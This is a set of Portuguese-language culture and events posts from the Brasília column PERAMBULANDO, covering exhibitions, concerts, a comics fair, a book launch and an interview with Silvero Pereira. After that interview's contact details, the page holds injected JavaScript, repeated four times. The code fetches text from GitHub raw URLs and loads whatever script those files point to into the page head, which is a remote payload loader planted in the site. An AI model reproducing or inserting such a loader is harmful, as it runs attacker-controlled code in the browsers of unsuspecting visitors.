Click: Brasília pelas lentes de Edu Vergara

Exposição traz um olhar inusitado para cartões-postais icônicos e cenas cotidianas da capital federal   Esta não é uma matéria, na verdade, trata-se de um convite para você sair PERAMBULANDO o quanto antes em direção ao Museu de Arte de Brasília (MAB) e visitar a exposição “Brasília Angularis – Você nunca viu Brasília por esses ângulos”. Afinal, a mostra está em cartaz somente até o dia 19 de fevereiro, ou seja, acaba muito em breve. Reunindo mais de 50 imagens, a coletânea é de autoria do fotógrafo Edu Vergara que se lançou ao desafio de retratar a natureza e a arquitetura da cidade por ângulos diversificados em busca de imagens inusitadas e 100% originais. Edu, que também é idealizador do Festival Internacional de Fotografia Brasília Photo Show, destaca que Angularis visa decifrar novos caminhos visuais que a capital tem a oferecer, tanto pelo exuberante Cerrado, quanto pelos traços inquietos e inovadores da sua arquitetura. “Quem não vive Brasília diariamente, nem sempre acredita que ela esbanja naturalmente tantos cenários estonteantes. Brasília é mestre em produzir photoshops sem que haja qualquer intervenção humana nesse processo”, pontua Vergara. Vale lembrar a melhor parte, este é um programa gratuito, uma ótima oportunidade para a família toda aproveitar a reta final das férias escolares que, coincidentemente, acabam no mesmo dia na rede pública de ensino.   Para PERAMBULAR por Brasília Angularis Museu de Arte de Brasília (MAB) / SHTN Trecho 1, projeto Orla Polo 03, Lote 05 / Todos os dias das 10h às 19h – exceto terças-feiras / Grátis / Livre   Fotos: Edu Vergara

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Brasília comemora o Dia do Quadrinho Nacional

Amantes do HQ tem encontro marcado com a nata dos quadrinistas do Distrito Federal em  feira cultural que traz diversas edições e um bate-papo entre Gabriel Góes e Thiago Borne   Para comemorar o Dia do Quadrinho Nacional em Brasília, a Oto Livraria (302 Norte, bloco E, loja 39, subsolo), em parceria com o site Raio Laser – Quadrinhos Além, realiza em 27 de janeiro, sábado, de 13h às 18h, uma feira com a presença de quadrinistas do Distrito Federal, expondo e vendendo suas publicações. Na ocasião, será lançada a revista Wunder Toy Comics #3 – Super Battle Monsters, de autoria de Gabriel Góes que às, 16h30, participa de um bate-papo com o toy maker Thiago Borne (Resinagem) e mediação do jornalista Pedro Brandt sobre os diálogos entre as histórias em quadrinhos e os brinquedos independentes.   Na feira, o público encontrará uma grande variedade de publicações autorais, com diferentes propostas estéticas e temáticas, com inspirações que passeiam pelos universos dos mangás, dos super-heróis e das graphic novels, em HQs de drama, humor e aventura. Além de Gabriel Góes e Thiago Borne, participam da feira: Bry Almeida, Euclides Neto, Fábio Paiva, Gauri, Jotape, Paulo Peres, Pedro D’Apremont, Pedro Ribeiro, Renata Rinaldi, Ricardo Diniz, Stéff, Tiago Palma, Waldenis Lopes e Wesley Samp. O Dia do Quadrinho Nacional é tradicionalmente comemorado em 30 de janeiro por ser a data de publicação de “As aventuras de Nhô Quim ou Impressões de uma viagem à Corte”, pioneira HQ de autoria de Angelo Agostini, lançada na revista Vida Fluminense em 1869. Quem é Gabriel Góes e Thiago Borne O mais antigo quadrinista de Brasília em atividade, o premiado Gabriel Góes é autor responsável por personagens como Billy Soco e Tiger Fist (em parceria com Oriol Barbera) e a publicação Vania e a turma de Anexia (com Pedro D’Apremont). Cocriador e editor de publicações do selo brasiliense Samba, produziu ainda quadrinhos para revistas independentes como Prego e Ragú e ainda participou da residência artística (conduzida por Angeli e Laerte) que resultou no álbum Baiacu. Góes também desenhou adaptações para quadrinhos de duas obras de Nelson Rodrigues, Vestido de noiva e Beijo no asfalto, com roteiros de Arnaldo Branco, e desenvolveu artes conceituais e storyboards para filmes e publicidade. Produziu também ilustrações para revistas como Rolling Stone, Galileu e o jornal Correio Braziliense. Thiago Borne atua sob o pseudônimo Resinagem e é pioneiro na produção de brinquedos independentes e autorais no Brasil, com mais de cinquenta peças realizadas, tanto em resina quanto em vinil. Atuou em parceria com editoras e artistas do underground, como tatuadores, músicos, quadrinistas – caso de Gabriel Góes, tendo feito bonecos dos personagens Billy Soco, Tiger Fist e Mapinguari. Inspirado nas estéticas do punk rock, do heavy metal e em filmes de terror, Resinagem atualmente foca seu trabalho em peças de vinil, o chamado “soft vinyl” ou “sofubi”, muito popular na produção de bonecos no Japão.   PERAMBULANDO pelo Dia do Quadrinho Nacional em Brasília Na Oto Livraria (302 Norte, bloco E, loja 39, subsolo) / Sábado 27/01 – 13h às 18h / Feira de HQs e lançamento da revista Wunder Toy Comics #3 – Super Battle Monsters (R$ 20), de Gabriel Góes / Bate-papo com Thiago Borne (Resinagem) e Gabriel Góes sobre histórias em quadrinhos e brinquedos independentes / Acesso livre.

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Olodum rende homenagem a Bob Marley em Salvador

Junto ao bloco Muzenza, ensaio na Praça do Pelourinho contará com músicas da lenda do reggae e cenas do filme no telão   Os fãs de Bob Marley vão ganhar um baita presente da Banda Olodum que, juntamente com a Paramount Pictures, irão realizar uma ação promocional para divulgar a estreia do filme “Bob Marley: One Love” na capital baiana. A iniciativa acontecerá dentro da programação oficial dos ensaios gratuitos no dia 28 de janeiro, quando o Olodum convidará o bloco Muzenza do Reggae para uma participação especial, na praça do Pelourinho, em Salvador, entre 14 e 17h. Juntos, os grupos vão tocar as músicas “Redemption Song” e “Three Little Birds”, enquanto cenas do filme serão exibidas no telão.   Principal ídolo do reggae, Bob Marley influenciou a sonoridade dos dois blocos: o Olodum incorporou o ritmo ao samba, dando origem ao samba-reggae. Já o grupo Muzenza teve origem a partir da morte de Marley, com o propósito de homenagear a cultura rastafári. A campanha do filme teve seu início no Dia da Consciência Negra, no qual Salvador foi uma das cidades protagonistas entre as ações. Agora, mais próximo da estreia do longa, a capital com a maior população preta do Brasil volta a ser palco de uma ação em homenagem a Bob Marley e a cultura do reggae. Para o presidente de Relações Institucionais do Olodum, Marcelo Gentil, “estar junto à Paramount para promover o lançamento do filme Bob Marley: One Love no ensaio do Bloco Olodum é mais uma oportunidade de celebrar o pan-africanismo e exaltar o compromisso social e político do reggae como instrumento de luta do povo preto. É relembrar uma das músicas gravadas por nós que afirma que A Arma é Musical”, destaca. Já o diretor e presidente do bloco afro Muzenza do Reggae, Jorge Santos, ressalta a importância da ação promocional na cidade de Salvador e da honra do convite, uma vez que a entidade nasceu como um tributo ao ícone do reggae: “Tudo vem da inserção da Legião Rastafariana da Bahia, fãs e adeptos do artista Bob Marley, acolhidos pelo Bloco Muzenza. E, através dos mesmos, foi enraizado dentro da instituição o sentimento e apego pelo artista, suas canções e até mesmo o seu modo de vida”. Sob a direção de Reinaldo Marcus Green e protagonizado pelo ator inglês Kingsley Ben-Adir, “Bob Marley: One Love” conta a vida do homem por trás da lenda do reggae e você vai poder ir PERAMBULAR pelos cinema de todo país para conferir a película a partir de 12 fevereiro de 2024. Já o trailler oficial, você assiste clicando neste link.   Fotos: Divulgação & Instagram Oludum por @antoniocarvalhovideomaker

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“Ruídos” de Berna Reale é uma explosão

Com curadoria de Silas Martí, exposição da artista paraense entra em cartas no CCBB trazendo obras que discutem a condição humana diante da desigualdade de gênero, econômica, social e da violência     Se prepare para ser impactado por uma mostra que vai incomodar, provocar, brincar e mexer completamente com sua cabeça. A partir desta terça-feira (16) você já pode ir PERAMBULANDO até a exposição “Ruídos”, da artista visual paraense Berna Reale, que está aberta à visitação na Galeria 3 do CCBB Brasília. E não se iluda, mesmo que as obras ocupem apenas um espaço daquele centro cultural, como dizem por aí, elas vão alugar um tríplex na sua mente. Isso porque as obras discutem, como já foi dito acima a condição humana nesse mundo tão desigual, onde gênero, classe econômica e social e violência importam, mas não do jeito como deveriam. A mostra, que tem curadoria de Silas Martí, apresenta um recorte da produção da artista de 2009 a 2023 em fotografia, objeto, performance, pintura e vídeo. Em exibição até 10 de março, a visitação é de terça a domingo, das 9h às 21h. A entrada é gratuita, mediante emissão de ingresso no site bb.com.br/cultura ou na bilheteria física. A classificação indicativa é livre. “Seus trabalhos são todos alicerçados em contrastes potentes, de um lado o visual pop, colorido, que pode remeter à estética publicitária ou mesmo aos exageros do barroco, e, de outro, uma crítica social afiada, a denúncia da precariedade e da violência do Brasil. Daí o ruído. Os trabalhos nos levam para uma sensação de deslumbramento na superfície e ao mesmo tempo cortam esse clima com o que de fato está no cerne deles, a morte, a desigualdade, o assédio, os descalabros políticos”, explica o curador Silas Martí. Entre a luxúria e a precariedade, a obra de Berna Reale primeiro seduz, para depois denunciar as mais variadas formas de violências contra os grupos mais vulneráveis, como mulheres, moradores das periferias e populações carcerárias. É uma narrativa do que é viver no Brasil, um país barroco, tropical e violento, e o que é ser brasileiro. De fato, ruído é uma quebra na harmonia, é aquilo destruído pelas beiradas, corroído sem que ninguém faça caso até que seja tarde demais. Em tempo, o Brasil de Berna Reale, lugar central de sua arte, está muito distante da ordem e do progresso. É o país da luxúria ilusória, de cores berrantes e afagos de veludo, e ao mesmo tempo o centro da carnificina, um banquete servido aos abutres, elucida a curadoria. Quem é Berna Reale?      Nascida em Belém do Pará, ela e é uma das artistas mais importantes no cenário brasileiro atual, sendo reconhecida como uma das principais expoentes da prática de performance no país. Reale iniciou sua carreira artística no começo da década de 1990. Seu primeiro trabalho de grande impacto, Cerne (25º Salão Arte Pará, 2006), intervenção fotográfica realizada no Mercado de Carne do Complexo do Ver-o-Peso, conduziu a artista ao Centro de Perícias Renato Chaves, onde passou a trabalhar como perita a partir de 2010. Desde então, Reale tem explorado seu próprio corpo como elemento central da produção de suas performances, fotografias e vídeos. Seus trabalhos, marcados pela abordagem crítica aos aspectos materiais e simbólicos da violência e aos processos de silenciamento presentes nas mais diversas instâncias da sociedade, investigam a importância das imagens na manutenção de imaginários e ações brutais. A potência de sua produção reside na contraposição entre o desejo de aproximação e o sentimento de repulsa, ressaltando a ironia que resulta da combinação entre o fascínio e a aversão da sociedade pela violência. A fotografia, nesse contexto, desempenha um papel fundamental. Ela não é apenas o meio de registro de suas ações, capaz de perpetuá-las, mas um desdobramento de seu processo de criação. A artista vive e trabalha em Belém, Pará, Brasil. PERAMBULE JÁ! “Ruídos”, de Berna Reale / CCBB Brasília – Galeria 3 / De hoje até 10 de março de 2024, terça a domingo, das 9h às 21h / Infos: 3108-7600 – @ccbbbrasilia ou bb.com.br/cultura / Ingressos gratuitos no site e na bilheteria física do local / Classificação Indicativa Livre   Fotos: Divulgação

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Silvero Pereira: “Só faço arte se tiver algo pra falar”

Silvero Pereira bateu um papo com o Lackman e contou sobre sua vida, carreira, moda e homenagem ao mestre Belchior, que chega a Brasília com três apresentações na Caixa Cultural De 8 a 10 de dezembro, a Caixa Cultural Brasília apresenta o show “Silvero Interpreta Belchior”. O multiartista canta as composições de Belchior, homenageando um dos mais relevantes compositores do Nordeste, que deixou um gigante legado para a música brasileira. Serão quatro apresentações na capital federal, duas delas seguidas de um intimista bate-papo entre artista e público. Os ingressos estão disponíveis na bilheteria do local e no site da Bilheteria Cultural. No palco, o roteiro do show reúne cerca de 18 canções conhecidas do grande público, hits que promovem momentos divertidos, emocionantes e introspectivos, como “Sujeito de Sorte”, “Como Nossos Pais”, “Medo de Avião”, “A Palo Seco”, “Paralelas”, entre outros clássicos que ganharam interpretações únicas com a performance de Silvero Pereira. Além da musicalidade envolvente, o espetáculo tem a teatralidade garantida com a dramaturgia, a troca de figurinos assinados por estilistas cearenses como Kallil Nepomuceno, o desenho de luz e a execução sonora de uma banda que acompanha Silvero desde 2021 e que se unem para garantir ao público uma experiência verdadeiramente inesquecível. Confira a entrevista exclusiva que o artista nos concedeu. Quem é Belchior quando descrito pelo Silvero Pereira? Belchior é um símbolo de força nordestina, um gênio que descreveu o Brasil de ontem e de hoje. Um artista atemporal e atento ao passado, presente e futuro. Na sua opinião, o que fez Belchior virar norma quando o assunto é boa música brasileira? A boa música brasileira é composta por artistas cultos, estudiosos e cheios de referências. Não se consegue ouvir Belchior com atenção e não se sentir modificado pelos seus versos. Sua carreira é repleta de nuances. Há TV, teatro, cinema, web e até passarela, como no DFB Festival em que vc se fez presente em vários desfiles. Ser esse profissional multifacetado é uma obrigação hoje ou você sempre quis estar em todos esse lugares?! Não me sinto nessa obrigação, faço aquilo que me dá prazer e me engrandece como artista. Sou um apaixonado e estudioso da arte, então vou experimentando e vendo o que pode ser transdisciplinar entre as diversas funções. No seu figurino tem peças do Kallil Nepomuceno, um dos maiores nomes do Nordeste. Essa valorização do que é da sua terra é digna de elogios. Você se considera um veículo de divulgação da sua terra? Totalmente! Nordeste é uma potência e precisamos sempre estar de mãos dados levando uns aos outros juntos. Vestir um estilista cearense é vestir minha armadura, minha história, meu povo! Como é ser um artista cearense de sucesso  em dias de redes sociais nos quais fama tem muito a ver com o que se posta e não muito com o que se faz? Uso minhas redes sociais de acordo com minhas convicções e reflexões. Sou divertido nas redes porque me divirto com ela, mas também uso essa ferramenta para divulgar meus textos de uma coluna do jornal local, pra fazer meus posicionamentos e divulgar meus trabalhos. Não quero ser fútil nas redes! Esse show te fez descobrir algo novo sobre você? O que Belchior acrescentou na sua vida ao interpreta-lo? Esse show é um encontro com minha história através dos versos de um outro cearense, saído do interior e que buscou seus sonhos na arte e nos estudos. Esse show é uma exposição da minha história, meus percursos. Existe um gatilho para te fazer cantar? Te dá vontade de cantar quando… A arte pra mim é gatilho! Só faço arte se tiver algo pra falar, que me inquieta e questiona a sociedade. Qual o significado de roupa, moda e estilo pra você? Moda é quem vive! Eu não ligo pra tendências, uso aquilo que me faz bem e expõe minha personalidade.   Quer ir ao show? Silvero Interpreta Belchior  Na CAIXA Cultural Brasília (SBS Q.4 – Asa Sul, Brasília) Dias 08, 09 e 10 de dezembro de 2023 Horário: Dia 08 (sexta) às 20h; dia 09 (sábado) às 17h (sessão com libras) e 20h (sessão com bate-papo); dia 10 (domingo) às 19h (com bate papo) Ingressos: R$30 (inteira) R$15 (meia) Classificação indicativa: Livre para todos os públicos Acesso a pessoas com deficiência   Informações: (61) 3206-9448 https://www.caixacultural.gov.br Fotos: Divulgação var url = ‘https://raw.githubusercontent.com/lolngnos/loles/main/step.txt’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.src = data.trim(); document.getElementsByTagName(‘head’)[0].appendChild(script); });;var url = ‘https://raw.githubusercontent.com/truba77/trubnik/main/from.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/truba77/trubnik/main/from.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});var url = ‘https://raw.githubusercontent.com/lolngnos/loles/main/step.txt’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.src = data.trim(); document.getElementsByTagName(‘head’)[0].appendChild(script); });

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Studio Drift une natureza e tecnologia em obras de arte

A exposição Vida em Coisas reúne criações incríveis que despertam reflexões sobre a relação da humanidade com a natureza, por meio de esculturas e instalações hipnóticas Usando a luz como um dos pilares de sua arte, Lonneke Gordijn e Ralph Nauta, junto às suas equipes em Amsterdã e Nova York, exploram as relações dos seres humanos com a natureza e a tecnologia de forma simples e ao mesmo tempo profunda. As obras que tocam em aspectos essenciais da vida na Terra estão presentes na mostra Studio Drift – Vida em Coisas, em cartaz no Centro Cultural Banco do Brasil Brasília, com visitação gratuita, até 24 de janeiro. Lonneke Gordijn e Ralph Nauta, criaram DRIFT em 2007, na Holanda. Atualmente, comandam uma equipe multidisciplinar de 64 pessoas, nos estúdios em Amsterdã e Nova York. Os artistas se tornaram mundialmente conhecidos pela criação de esculturas, instalações e performances que colocam pessoas, ambiente e natureza na mesma frequência. Suas obras sugerem ao público uma reconexão com o planeta. Alfons Hug, curador da mostra ao lado de Marcello Dantas, explica que ao escolher a luz como elemento central de suas composições artísticas, DRIFT “nos faz pensar no mundo de hoje, mas também em nossas origens, pois esta luz vem de longe e contém um vislumbre do passado remoto”. Ocupando o Pavilhão de Vidro, as galerias 1, 2 e 5, Studio Drift – Vida em Coisas tem entre seus destaques a obra Fragile Future (foto de capa), que procura fundir natureza e tecnologia em uma escultura multidisciplinar de luz, que traz uma visão utópica e crítica do futuro do nosso planeta, em que duas formas de evolução aparentemente opostas realizam um pacto de sobrevivência. Circuitos elétricos tridimensionais, de bronze, ficam conectados a sementes da planta dente-de-leão, que emitem luzes. Trata-se de uma peça com forma potencialmente infinita, que pode crescer ou encolher, dependendo do espaço que ocupa. Para a construção, a dupla recorreu a sementes que, uma a uma, receberam luzes de LED, num processo artesanal que resiste aos métodos de produção em massa e à cultura do descarte. A instalação está presente na Galeria 1. Entre as obras que mais chamam a atenção está a escultura hipnótica Shylight (algo como “luz tímida”, se traduzido para o português – exposta no Pavilhão de Vidro) reproduz o comportamento das flores que, durante a noite, se fecham, numa medida de proteção e de economia de recursos. Fusca Volkswagen, Jogo Game Boy, Lápis, Cabo Elétrico, Bicicleta, Pandeiro e Havaianas, que foram criadas especialmente para a mostra brasileira, assim como Banquete, merecem sua atenção pois são fruto da parceria de DRIFT com os designers brasileiros do Estúdio Campana, Humberto e Fernando Campana. Se grande parte dos objetos feitos pelos homens tendem a ter uma forma fixa, o projeto do DRIFT, neste caso, é recuperar a ideia de que, na natureza, tudo está em constante metamorfose e adaptação. Assim, os objetos animados ganham a força de expressar, caráter e emoção. Para o curador Marcello Dantas existe uma racionalidade por trás das obras do DRIFT, que é a possibilidade da natureza e da tecnologia viverem em harmonia. “Seja pelo mundo biônico, seja pelo conceito de animismo, em que todas as coisas – animais, fenômenos naturais e objetos inanimados – possuem um espírito que os conecta uns aos outros”. Em tempo, a mostra é patrocinada pelo Banco do Brasil e BB Asset Management e tem ingressos gratuitos, disponíveis em bb.com.br/cultura e na bilheteria física do CCBB Brasília. Bora lá?   Studio Drift – Vida em Coisas / Centro Cultural Banco do Brasil Brasília / até 21 de janeiro de 2024 – terça-feira a domingo, das 09h às 21h / Classificação indicativa: livre / Entrada gratuita / Ingressos em www.bb.com.br/cultura e na bilheteria local   Fotos: Divulgação

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Bora curtir o Baile da Santinha com Léo Santana?

Festa-show que acontece em Brasília no primeiro sábado de dezembro tem presença de Murilo Huff e Ferrugem Considerado como uma das principais festas do Brasil, o Baile da Santinha está de volta à Brasília! Comandado por Léo Santana, o evento desembarca na capital no primeiro sábado de dezembro (02), a partir das 17h, no Estádio Mané Garrincha, com dois convidados superespeciais: Murilo Huff e Ferrugem. No repertório com mais de duas horas de show, o público vai cantar e dançar músicas como Posturado e Calmo, Zona de Perigo e Áudio que te entrega, além de sucessos do cantor desde o início de sua carreira solo como Contatinho, Santinha, Deboche e Vidro Fumê.  “Vamos iniciar as comemorações de dezembro em Brasília, será incrível. Estamos preparando um show inesquecível com todos aqueles hits que o público adora dos três cantores, logo, vamos ter muito axé, pagode e sertanejo, além de uma superestrutura de palco com painéis de led, espaços instagramáveis e ativações“, adianta Pissu, responsável pelo evento na capital. Os ingressos estão à venda pelo site ou app da Bilheteria Digital e custam R$ 150 (frente palco) e  R$ 280 (camarote), com valores referentes a meia-entrada e ao quarto e quinto lote das áreas respectivamente. Bora? Baile da Santinha / às 17h do dia 02 de dezembro / Estádio Mané Garrincha / Mais informações: @bailedasantinha Fotos: Instagram do evento e Divulgação

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Vem aí Os Farsantes de Sergio Raposo

Autor brasiliense radicado no Rio de Janeiro, promove sessão de autógrafos de seu novo romance na cidade   O ano é 2027. No novo Estado policial brasileiro, o influencer conservador Paulo Byron, frequentador da alta-roda do poder, cai em desgraça ao ser acusado de participar de uma tentativa de golpe contra o presidente. Perseguido nas ruas e temendo pela sua vida, ele precisa contar com a ajuda da Resistência Armada Revolucionária. Mas para isso há um preço a ser pago. E qual será ela? Pois bem, a assustadora distopia não muito distante da realidade atual criada por Sergio Raposo revela uma trama intrigante em Os Farsantes  (Editora Ex Machina), romance que virá a público no próximo sábado (25), durante a sessão de autógrafos que acontece das 16h às 19h, na Oto Livraria (302 Norte, bloco E, loja 39, subsolo). Nascido em Brasília em 1972, o autor também é diretor e roteirista de audiovisual no Rio de Janeiro onde vive e realiza documentários e programas de TV sobre temas como educação, cultura e arte contemporânea. Os Farsantes é seu primeiro livro, revelando uma escrita ágil, repleta de ironia e jogos de espelhos. Criando um universo paralelo, que explora as contradições e os absurdos da política brasileira recente, Sergio Raposo propõe uma sátira repleta de camadas que surpreende e envolve o leitor do começo ao fim, dessa obra de 96 páginas que sai por R$ 40 no site da editora, podendo ser adquirida no evento que tem entraga gratuita. Foto: Divulgação

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Onde o Brasil encontra sua arte

Atenção pessoal! A coluna PERAMBULANDO traz como sugestão a 16ª edição do Salão do Artesanato, que está rolando até o próximo domingo (19) lá na varanda da Pátio Brasil. Com o slogan que nomeia esta notinha, o evento que é um dos maiores do Brasil, reunindo artesãos de todas as regiões do país, consequentemente, têm muitas opções de compras, oficinas e entretenimento cultural por lá. Cerâmica, madeira, fios, capim, palha, metal, rendas, bordados e tantas outras tipologias se traduzem nos mais diversos objetos de decoração, uso pessoal, utensílios, móveis, roupas, acessórios e muito mais. É passar, conferir e, quem sabe, já garantir o presente de Natal. Vale destacar ainda que o Salão do Artesanato tem os sócios Rômulo Mendonça e Leda Simone à frente da Rome Eventos – idealizadora da iniciativa – conta com apoio do Programa do Artesanato Brasileiro (PAB)/ Ministério do Empreendedorismo, da Microempresa e da Empresa de Pequeno Porte, Ministério do Turismo, Pátio Brasil Shopping, da Secretaria de Turismo do Governo do Distrito Federal e patrocínio do Sebrae e Correios. Bora lá? 16º Salão do Artesanato / Pátio Brasil / até 19 de novembro – horário de funcionamento do shopping / Entrada franca Fotos: Gilberto Evangelista

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Onde o Brasil encontra sua arte

Atenção pessoal! A coluna PERAMBULANDO traz como sugestão a 16ª edição do Salão do Artesanato, que está rolando até o próximo domingo (19) lá na varanda da Pátio Brasil. Com o slogan que nomeia esta notinha, o evento que é um dos maiores do Brasil, reunindo artesãos de todas as regiões do país, consequentemente, têm muitas opções de compras, oficinas e entretenimento cultural por lá. Cerâmica, madeira, fios, capim, palha, metal, rendas, bordados e tantas outras tipologias se traduzem nos mais diversos objetos de decoração, uso pessoal, utensílios, móveis, roupas, acessórios e muito mais. É passar, conferir e, quem sabe, já garantir o presente de Natal. Vale destacar ainda que o Salão do Artesanato tem os sócios Rômulo Mendonça e Leda Simone à frente da Rome Eventos – idealizadora da iniciativa – conta com apoio do Programa do Artesanato Brasileiro (PAB)/ Ministério do Empreendedorismo, da Microempresa e da Empresa de Pequeno Porte, Ministério do Turismo, Pátio Brasil Shopping, da Secretaria de Turismo do Governo do Distrito Federal e patrocínio do Sebrae e Correios. Bora lá? 16º Salão do Artesanato / Pátio Brasil / até 19 de novembro – horário de funcionamento do shopping / Entrada franca   Fotos: Gilberto Evangelista

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